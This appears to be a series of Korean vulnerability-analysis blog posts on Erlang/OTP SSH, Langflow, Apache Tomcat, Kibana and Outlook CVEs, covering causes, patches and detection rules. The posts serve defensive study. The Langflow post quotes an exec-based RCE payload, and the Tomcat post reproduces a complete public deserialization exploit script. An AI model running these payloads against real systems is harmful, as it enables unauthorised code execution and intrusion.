1. Erlang/OTP SSH

- Erlang: 고가용성을 요구하는 대규모 확장 가능한 소프트 실시간 시스템을 구축하는 데 사용되는 프로그래밍 언어

- OTP(Open Telecom Platform): 이러한 시스템을 개발하는 데 필요한 미들웨어를 제공하는 Erlang 라이브러리와 설계 원칙의 집합 [1]

- Erlang/OTP SSH: Erlang 시스템에서 SSH(Secure Shell) 기능을 구현한 라이브러리 [2]

2. CVE-2025-32433

[사진 1] CVE-2025-32433 [3]

- Erlang/OTP SSH 라이브러리를 기반으로 하는 SSH 서버의 SSH 프로토콜 메시지 처리의 결함으로 인한 원격 코드 실행 취약점 (CVSS: 10.0)

> 악용에 성공할 경우 공격자는 인증 과정 없이 임의의 명령을 실행할 수 있음

> SSH 데몬이 루트로 실행 중인 경우 전체 액세스 권한을 가지게 됨

영향받는 버전
Erlang/OTP
- OTP-27.3.2 이하 버전
- OTP-26.2.5.10 이하 버전
- OTP-25.3.2.19 이하 버전

 

- RFC 4252: The Secure Shell (SSH) Authentication Protocol [4]

> 인증 프로토콜에서 사용되는 모든 SSH Message Numbers는 50 ~ 79 사이

> SSH Message Numbers80 이상인 경우 인증 프로토콜 이후 실행되는 프로토콜, 즉 인증 완료 후 과정을 위해 예약되어 있음

> 따라서, 인증이 완료되기 전 SSH Message Numbers가 80 이상인 경우 서버는 즉시 연결을 해제하여야 함

[사진 2] RFC 4252 : 6. uthentication Protocol Message Numbers

- 그러나 취약한 버전의 Erlang/OTP에서는 SSH 서버가 이 규칙을 적용하지 않음

> 공격자들이 인증되지 않은 단계에서 조작된 메시지를 주입할 수 있게 되어 무단으로 코드가 실행가능 [5]

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [6][7][8]

> 인증 여부를 handle_msg() 함수를 통해 검증하며, 실패 시 연결 거부

제품명 영향받는 버전 해결 버전
Erlang/OTP <= OTP-27.3.2 OTP-27.3.3
<= OTP-26.2.5.10 OTP-26.2.5.11
<= OTP-25.3.2.19 OTP-25.3.2.20

 

- 업데이트가 불가한 경우

> SSH 포트에 대한 액세스를 신뢰할 수 있는 IP만 허용 및 신뢰할 수 없는 IP의 접근 차단

> Erlang/OTP 기반 SSH가 불필요한 경우 서비스 비활성화

4. 참고

[1] https://www.erlang.org/
[2] https://www.erlang.org/doc/apps/ssh/ssh.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-32433
[4] https://www.rfc-editor.org/rfc/rfc4252.html#section-6
[5] https://www.upwind.io/feed/cve-2025-32433-critical-erlang-otp-ssh-vulnerability-cvss-10#toc-section-2
[6] https://www.openwall.com/lists/oss-security/2025/04/16/2
[7] https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
[8] https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
[9] https://thehackernews.com/2025/04/critical-erlangotp-ssh-vulnerability.html
[10] https://news.ycombinator.com/item?id=43716526

1. Langflow

- 대규모 언어 모델(LLM)과 다양한 데이터 소스를 활용하여 AI 애플리케이션을 시각적으로 설계하고 구축할 수 있는 low-code 플랫폼 [1][2]

- Python 기반으로 개발되었으며, 특정 모델, API, 데이터베이스에 구애받지 않고 유연하게 사용 가능

2. CVE-2025-3248

[사진 1] CVE-2025-3248 [3]

- /api/v1/validate/code에서 발생하는 임의 코드 실행 취약점 (CVSS : 9.8)

영향받는 버전
Langflow 1.3.0 미만 버전

 

- /api/v1/validate/code : LLM이 생성한 코드의 유효성을 검증하는 API

> 해당 API를 누구나 호출 가능

> validate_code()를 내부적으로 호출 [4]

async def post_validate_code(code: Code) -> CodeValidationResponse:
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            imports=errors.get("imports", {}),
            function=errors.get("function", {}),
        )
    except Exception as e:
        logger.opt(exception=True).debug("Error validating code")
        raise HTTPException(status_code=500, detail=str(e)) from e

 

- validate_code()는 파이썬 코드의 문법을 검증하고 exec()를 통해 해당 코드를 실행 [5][6]

> 파이썬 코드에 import문과 함수 선언문이 있는지 확인

> import문이 있는 경우 해당 모듈을 로드하고, 함수가 있는 경우 exec()를 통해 해당 코드 실행 [7][8]

def validate_code(code):
    # Initialize the errors dictionary
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        if hasattr(logger, "opt"):
            logger.opt(exception=True).debug("Error parsing code")
        else:
            logger.debug("Error parsing code")
        errors["function"]["errors"].append(str(e))
        return errors

    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
            try:
                exec(code_obj)
            except Exception as e:  # noqa: BLE001
                logger.opt(exception=True).debug("Error executing function code")
                errors["function"]["errors"].append(str(e))

    # Return the errors dictionary
    return errors

 

2.1 PoC

- 공개된 Scanner에서는 /api/v1/validate/code URLimport문과 def문이 포함된 파이썬 코드를 POST 메소드로 전송 [9]

...
def check_vulnerability(self):
        """Check if target is vulnerable to Langflow vulnerability"""
        try:
            validate_url = urljoin(self.url, '/api/v1/validate/code')
            # 使用exec函数执行代码
            payload = {
                "code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')):
    pass
"""
            }
            
            print(f"{Fore.YELLOW}[*] Testing endpoint: {validate_url}")
            response = self.session.post(
                validate_url, 
                json=payload, 
                timeout=self.timeout
            )
            
            print(f"{Fore.YELLOW}[*] Response status: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Response headers: {dict(response.headers)}")
            print(f"{Fore.YELLOW}[*] Response body: {response.text}")
...

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 현재 사용자만 API를 이용 가능하도록 패치 적용

제품명 영향받는 버전 해결 버전
Langflow 1.3.0 미만 1.3.0

 

- 탐지 룰 적용

alert tcp any any -> any any (msg:"CVE-2025-3248"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/validate/code"; http_uri; content:"def"; http_client_body; content:"import"; http_client_body;)

4. 참고

[1] https://www.langflow.org/
[2] https://wikidocs.net/267515
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-3248
[4] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/api/v1/validate.py#L16
[5] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L24
[6] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L57
[7] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L44
[8] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L53
[9] https://github.com/xuemian168/CVE-2025-3248
[10] https://github.com/langflow-ai/langflow/pull/6911/commits/dbae45f5717b9bf0f3096fce7399851aba27e658
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71717&menuNo=205020
[12] https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/?utm_source=chatgpt.com

1. CVE-2025-24813

[사진 1] CVE-2025-24813 [1]

- Apache Tomcat에서 발생하는 원격 코드 실행 취약점 (CVSS : 9.8)

> Partial PUT 기능과 기본 서블릿에 대한 쓰기 권한이 결합되어 발생

> 공격자는 취약점을 악용해 원격 코드 실행, 정보 유출 및 손상 등의 악성 행위를 수행할 수 있음

 

- 영향받는 버전

> Apache Tomcat 9.0.0.M1 ~ 9.0.98
> Apache Tomcat 10.1.0-M1 ~ 10.1.34
> Apache Tomcat 11.0.0-M1 ~ 11.0.2

 

- 취약점을 악용하기 위한 4가지의 전제 조건

> 다음 4가지 조건 모두를 만족해야 취약점이 발생

쓰기 가능한 Default Servlet

> Default 비활성화

부분 PUT (Partial PUT) 지원

> Default 활성화

파일 기반 세션 지속성

> 기본 위치에서 파일 기반 세션 지속성 사용

취약한 역직렬화 라이브러리 사용

> 역직렬화에 취약한 라이브러리 포함 

2. PoC

- docker를 활용해 취약한 tomcat 환경 구축 [2][3]

> tomcat 설정 변경

구분 설명
conf/web.xml - Default Servlet에 readonly 파라미터 추가 : 쓰기 가능하도록 설정
conf/context.xml - 파일 기반 세션 지속성 활성화

※ 참고 : 일부 분석 보고서에서는 다음과 같이 변경한 것으로 확인 [4]

※ docker 실행 중 버전 오류가 발생해 docker-compose.yml 내용 변경 (version 3.8 -> 3,3)

[사진 2] 정상 접근 확인

- 공개된 PoC를 활용해 공격 [5]

① 대상 서버로 PUT 요청을 보내 서버가 쓰기 가능한지 확인

> check_writable_servlet()를 사용하며 200 또는 201 응답을 반환할 경우 쓰기 가능한 것으로 판단

※ 200 : 서버가 요청을 정상적으로 처리하였음을 나타냄

※ 201 : 서버가 요청을 정상적으로 처리하였고, 자원이 생성되었음을 나타냄

② 쓰기 가능한 경우 역직렬화 페이로드 생성

③ 대상 서버에 Partial PUT 요청을 전송

> upload_and_verify_payload()를 사용하며, 409 응답일 경우 대상 URL로 GET 요청을 보내며 500 응답을 받은 경우 성공한 것으로 판단

※ 409 : 서버의 현재 상태와 요청이 충돌했음을 나타냄

※ 500 : 서버가 사용자의 요청을 처리하는 과정에서 예상하지 못한 오류로 요청을 완료하지 못함을 나타냄

업로드 파일 삭제

> remove_file()

import argparse
import os
import re
import requests
import subprocess
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗     ██████╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗████████╗    ██████╗  ██████╗███████╗
██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗████╗ ████║██╔════╝ ██╔══██╗╚══██╔══╝    ██╔══██╗██╔════╝██╔════╝
██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║    ██████╔╝██████╔╝██╔████╔██║██║  ███╗██████╔╝   ██║█████╗██████╔╝██║     █████╗  
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║    ██╔══██╗██╔══██╗██║╚██╔╝██║██║   ██║██╔══██╗   ██║╚════╝██╔══██╗██║     ██╔══╝  
╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝    ██████╔╝██║  ██║██║ ╚═╝ ██║╚██████╔╝██║  ██║   ██║     ██║  ██║╚██████╗███████╗
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝     ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝     ╚═╝  ╚═╝ ╚═════╝╚══════╝
"""

def remove_file(file_path):
    try:
        os.remove(file_path)
        print(f"[+] Temporary file removed: {file_path}")
    except OSError as e:
        print(f"[-] Error removing file: {str(e)}")

def check_writable_servlet(target_url, host, port, verify_ssl=True):
    check_file = f"{target_url}/check.txt"
    try:
        response = requests.put(
            check_file,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data="testdata",
            timeout=10,
            verify=verify_ssl
        )
        if response.status_code in [200, 201]:
            print(f"[+] Server is writable via PUT: {check_file}")
            return True
        else:
            print(f"[-] Server is not writable (HTTP {response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during check: {str(e)}")
        return False

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
    if not os.path.exists(ysoserial_path):
        print(f"[-] Error: {ysoserial_path} not found.")
        sys.exit(1)
    try:
        print(f"[*] Generating ysoserial payload for command: {command}")
        cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
        with open(payload_file, "wb") as f:
            subprocess.run(cmd, stdout=f, check=True)
        print(f"[+] Payload generated successfully: {payload_file}")
        return payload_file
    except (subprocess.CalledProcessError, FileNotFoundError) as e:
        print(f"[-] Error generating payload: {str(e)}")
        sys.exit(1)

def generate_java_payload(command, payload_file):
    payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
    static {{
        try {{
            String cmd = "{command}";
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {{
                output.append(line).append("\\n");
            }}
            PrintWriter out = new PrintWriter(System.out);
            out.println(output.toString());
            out.flush();
        }} catch (IOException e) {{
            e.printStackTrace();
        }}
    }}
}}
"""
    try:
        print(f"[*] Generating Java payload for command: {command}")
        with open("Exploit.java", "w") as f:
            f.write(payload_java)
        subprocess.run(["javac", "Exploit.java"], check=True)
        subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
        remove_file("Exploit.java")
        remove_file("Exploit.class")
        print(f"[+] Java payload generated successfully: {payload_file}")
        return payload_file
    except subprocess.CalledProcessError as e:
        print(f"[-] Error generating Java payload: {str(e)}")
        sys.exit(1)

def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
    exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
    try:
        with open(payload_file, "rb") as f:
            put_response = requests.put(
                exploit_url,
                headers={
                    "Host": f"{host}:{port}",
                    "Content-Length": "10000",
                    "Content-Range": "bytes 0-1000/1200"
                },
                data=f.read(),
                timeout=10,
                verify=verify_ssl
            )
        if put_response.status_code == 409:
            print(f"[+] Payload uploaded with status 409 (Conflict): {exploit_url}")
            get_response = requests.get(
                target_url,
                headers={"Cookie": "JSESSIONID=absholi7ly"},
                timeout=10,
                verify=verify_ssl
            )
            if get_response.status_code == 500:
                print(f"[+] Exploit succeeded! Server returned 500 after deserialization.")
                return True
            else:
                print(f"[-] Exploit failed. GET request returned HTTP {get_response.status_code}")
                return False
        else:
            print(f"[-] Payload upload failed: {exploit_url} (HTTP {put_response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during upload/verification: {str(e)}")
        return False
    except FileNotFoundError:
        print(f"[-] Payload file not found: {payload_file}")
        return False

def get_session_id(target_url, verify_ssl=True):
    try:
        response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
        if "JSESSIONID" in response.cookies:
            return response.cookies["JSESSIONID"]
        session_id = re.search(r"Session ID: (\w+)", response.text)
        if session_id:
            return session_id.group(1)
        else:
            print(f"[-] Session ID not found in response. Using default session ID: absholi7ly")
            return "absholi7ly"
    except requests.RequestException as e:
        print(f"[-] Error getting session ID: {str(e)}")
        sys.exit(1)

def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
    host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
    port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80" if "http://" in target_url else "443"

    session_id = get_session_id(target_url, verify_ssl)
    print(f"[*] Session ID: {session_id}")
    
    if check_writable_servlet(target_url, host, port, verify_ssl):
        payload_file = "payload.ser"
        if payload_type == "ysoserial":
            generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
        elif payload_type == "java":
            generate_java_payload(command, payload_file)
        else:
            print(f"[-] Invalid payload type: {payload_type}")
            return
        
        if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
            print(f"[+] Target {target_url} is vulnerable to CVE-2025-24813!")
        else:
            print(f"[-] Target {target_url} does not appear vulnerable or exploit failed.")
        
        remove_file(payload_file)

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2025-24813 Apache Tomcat RCE Exploit")
    parser.add_argument("target", help="Target URL (e.g., http://localhost:8081 or https://example.com)")
    parser.add_argument("--command", default="calc.exe", help="Command to execute")
    parser.add_argument("--ysoserial", default="ysoserial.jar", help="Path to ysoserial.jar")
    parser.add_argument("--gadget", default="CommonsCollections6", help="ysoserial gadget chain")
    parser.add_argument("--payload_type", choices=["ysoserial", "java"], default="ysoserial", help="Payload type (ysoserial or java)")
    parser.add_argument("--no-ssl-verify", action="store_false", help="Disable SSL verification")
    args = parser.parse_args()

    check_target(args.target, args.command, args.ysoserial, args.gadget, args.payload_type, args.no_ssl_verify)

if __name__ == "__main__":
    main()

 

- PoC 실행 결과 Server is not writable 에러가 발생

> check.txt 파일이 대상 서버에 정상적으로 생성된 것을 확인할 수 있었음

[사진 3] Server is not writable 에러 발생
[사진 4] 공격 패킷 캡쳐 및 결과

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7][8][9][10]

제품명 영향받는 버전 해결 버전
Apache Tomcat  Apache Tomcat 9.0.0.M1 ~ 9.0.98 9.0.99
Apache Tomcat 10.1.0-M1 ~ 10.1.34 10.1.35
 Apache Tomcat 11.0.0-M1 ~ 11.0.2 11.0.3

 

- 쓰기 권한 비활성화 및 부분 PUT 비활성화

> 쓰기 권한 비활성화 : conf/web.xml에서 readonly 매개변수 true 설정

> 부분 PUT 비활성화 : allowPartialPut 매개변수 false 설정

[사진 5] conf/web.xml 중 allowPartialPut 관련 내용

- 탐지룰 적용 [11]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; content:"PUT"; http_method; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/U"; content:"Content-Range|3a 20|"; http_header; fast_pattern; pcre:"/^\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/R"; reference:url,lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq; reference:cve,2025-24813; classtype:web-application-attack; sid:2060801; rev:1; metadata:affected_product Apache_Tomcat, attack_target Server, created_at 2025_03_12, cve CVE_2025_24813, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_12, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-24813
[2] https://github.com/charis3306/CVE-2025-24813
[3] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/
[4] https://attackerkb.com/topics/4GajxQH17l/cve-2025-24813
[5] https://github.com/absholi7ly/POC-CVE-2025-24813
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71687&menuNo=205020
[7] https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
[8] https://tomcat.apache.org/security-9.html
[9] https://tomcat.apache.org/security-10.html
[10] https://tomcat.apache.org/security-11.html
[11] https://asec.ahnlab.com/ko/86938/

1. Kibana

- ELK의 구성 요소 중 하나로, 데이터 시각화 및 분석을 위한 오픈 소스 도구 [1]

- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공

- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌

[사진 1] Kibana 예시

1.1 ELK

- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]

> Beats : 데이터 수집 담당

※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음

> Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구

> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계

> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용

[사진 2] ELK

2. CVE-2025-25015

[사진 3] CVE-2025-25015 [3]

- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)

> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음

※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침

※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지

영향받는 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만
※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음

※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는
사용자만 취약점을 악용할 수 있음

 

- 벤더사 제공 최신 보안 업데이트 적용 [4][5]

제품명 영향받는 버전 해결 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만 8.17.3

 

- 즉시 업데이트가 불가한 경우 권고

> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정

 

2.1 Prototype Pollution (프로토타입 오염) [6][7]

- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음

> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음

 

- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어

> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘

> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음

> 주요 특징

① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨

② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음

③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색

 

- 프로토타입은 체인 (Prototype Chain)

> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조

> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨

> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환

> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음

const grandparent = { familyName: "Kim" };
const parent = Object.create(grandparent); // parent의 프로토타입을 grandparent로 설정
const child = Object.create(parent); // child의 프로토타입을 parent로 설정

console.log(child.familyName); // "Kim"

[사진 4] Prototype Chain 테스트 [8]

- 공격자는 JavaScript의 프로토타입을 조작모든 객체에 악성 속성을 추가할 수 있음

> Object.prototype을 변경하면 모든 객체에 영향을 줄 수 있음

> __proto__, prototype 등의 속성을 사용해 Object.prototype을 변경할 수 있음

// 프로토타입 오염 전 상태 확인
console.log("프로토타입 오염 전 Object.prototype:");
console.log(Object.prototype.isAdmin); // undefined

// 프로토타입 오염 공격
Object.prototype.isAdmin = true; // true로 설정

// 프로토타입 오염 후 Object.prototype 상태 확인
console.log("\n프로토타입 오염 후 Object.prototype:");
console.log(Object.prototype.isAdmin); // true

// 프로토타입 오염 후 객체 생성 및 속성 확인
let obj = {};
console.log("\n오염된 프로토타입을 상속받은 객체:");
console.log(obj.isAdmin); // true

[사진 5] 오염 전 후 비교 [8]

2.2 대응 방안

① 사용자 입력 값 검증

> Object.prototype, proto 등 특정한 키워드를 필터링하고 안전한 데이터만 허용하도록 검증

 

② Object.create(null) 사용

> 프로토타입이 없는 객체를 생성 즉, Object.prototype을 상속받지 않으므로 프로토타입 오염 공격의 영향을 받지 않음

 

③ Object.freeze() 또는 Object.seal() 사용

> Object.freeze() : 객체의 변경을 막는 함수_객체의 속성 추가, 수정, 삭제를 할 수 없음

> Object.seal() : 객체의 변경을 막는 함수_ 객체의 속성 추가, 수정, 삭제를 할 수 없음, 단, 쓰기 가능한 속성의 값은 변경 가능

 

④ 정기적인 보안 업데이트 및 시큐어 코딩

> 사용하는 라이브러리 및 프레임워크의 보안 업데이트를 정기적으로 확인 및 적용

> 애플리케이션의 보안 취약점 정기적 점검

> 시큐어 코딩 및 코드 리뷰를 통해 잠재적 보안 문제 사전 발견 등

3. 참고

[1] https://www.elastic.co/kibana
[2] https://idkim97.github.io/2024-04-19-Kibana(%ED%82%A4%EB%B0%94%EB%82%98)%EB%9E%80/
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25015
[4] https://discuss.elastic.co/t/kibana-8-17-3-security-update-esa-2025-06/375441/1
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71670&menuNo=205020
[6] https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript
[7] https://www.igloo.co.kr/security-information/prototype-pollution-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EA%B3%B5%EA%B2%A9%EC%82%AC%EB%A1%80-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/
[8] https://www.mycompiler.io/ko/new/nodejs

1. Protected View

[사진 1] Protected View

- MS Office의 기능으로, 사용자 PC의 안전을 위해 외부 콘텐츠를 차단하는 기능 [1]

> 안전하지 않은 출처에서 가져온 파일을 읽기 전용 또는 제한된 보기로 실행

> Outlook의 경우 의심되는 하이퍼링크 등이 포함된 경우 [사진 1]과 같은 경고창을 띄움

> 사용자가 "편집 사용" 등의 버튼을 클릭해 제한된 보기를 해제하고 문서를 편집할 수 있음

2. 주요내용

[사진 2] CVE-2024-21413 [2]

- MS Outlook에서 발생하는 원격 명령 실행 취약점 (CVSS : 9.8)

> 취약점 발견 당시 Zero-Day 취약점이었으나, 현재는 보안 패치가 발표된 상태

> CISA는 해당 취약점이 현재 실제 공격에 악용되고 있음을 경고하며 패치 적용을 권고

영향받는 버전
- Microsoft Office 2016 (32-bit editions, 64-bit editions)
- Microsoft Office 2019 (32-bit editions, 64-bit editions)
- Microsoft Office LTSC 2021 (32-bit editions, 64-bit editions)
- Microsoft 365 Apps for Enterprise (32-bit editions, 64-bit editions)


- Outlook에서는 하이퍼링크를 사용하여 파일을 첨부할 수 있음

> 하이퍼링크의 file:// 구문(Ex. file://///Server IP/example.rtf)을 사용하여 Moniker를 악용함으로써 특정 개체를 직접 로드하도록 유도

> Outlook에서 하이퍼링크를 통해 파일에 엑세스를 시도하면 해당 동작을 차단하고 오류 메세지를 띄움

[사진 3] file://///Server IP/example.rtf에 대한 Protected View 오류 메세지

- Moniker Links에 "!"를 추가하게 되면, Single Moniker에서 Composite Moniker로 변경되어 처리

> 이때, 메일 내 링크를 처리하는 과정에서 입력 값 검증이 제대로 이루어지지 않아 취약점이 발생

> Ex. file://///Server IP/example.rtf!Additionaltext

① Moniker 링크 구문 분석

> Outlook이 링크를 만나면 MkParseDisplayName( ) 호출

> Composite Moniker를 FileMoniker 및 ItemMoniker로 구문 분석

※ FileMoniker : //Server IP/example.rtf

※ ItemMoniker : Additionaltext

② COM 객체 조회

> 구문 분석된 요소는 해당 COM 객체를 조회

> .rtf 파일의 COM 개체를 검색하여 지정된 추가 항목(Additionaltext)을 처리

③ 임의 코드 실행

> .rtf 파일을 열고 분석한 후의 동작은 Additionaltext 부분에 따라 달라짐

> 콘텐츠가 악의적으로 제작된 경우 임의의 코드가 실행될 가능성 존재

[사진 4] 과정 요약

- 취약점 시연 영상에서는 Impacket을 사용해 SMB 프로토콜을 통한 NTLM 자격증명 탈취

> Impacket : Python 기반의 네트워크 공격 및 침투 테스트 도구 모음으로, SMB, NTLM, Kerberos, LDAP 등 다양한 네트워크 프로토콜을 다룰 수 있는 라이브러리

> 공격자가 제어하는 서버에 위치한 파일에 엑세스 하기위해 SMB 프로토콜이 사용되며, 이때 NTLM 인증이 발생

[영상 1] 공격 시연 [3]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [4]

영향받는 버전 해결 버전
Microsoft Office 2016 (32-bit editions, 64-bit editions) 버전 16.0.5435.1000 이상으로 업데이트
Microsoft Office 2019 (32-bit editions, 64-bit editions) 버전 19.0.0 이상으로 업데이트
Microsoft Office LTSC 2021 (32-bit editions, 64-bit editions) 버전 16.0.1 이상으로 업데이트
Microsoft 365 Apps for Enterprise (32-bit editions, 64-bit editions) 버전 16.0.1 이상으로 업데이트

4. 참고

[1] https://support.microsoft.com/ko-kr/office/%EC%A0%9C%ED%95%9C%EB%90%9C-%EB%B3%B4%EA%B8%B0%EC%9D%98-%EC%A0%95%EC%9D%98-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
[2] https://nvd.nist.gov/vuln/detail/cve-2024-21413
[3] https://www.youtube.com/watch?v=rFjhBcUWXaY
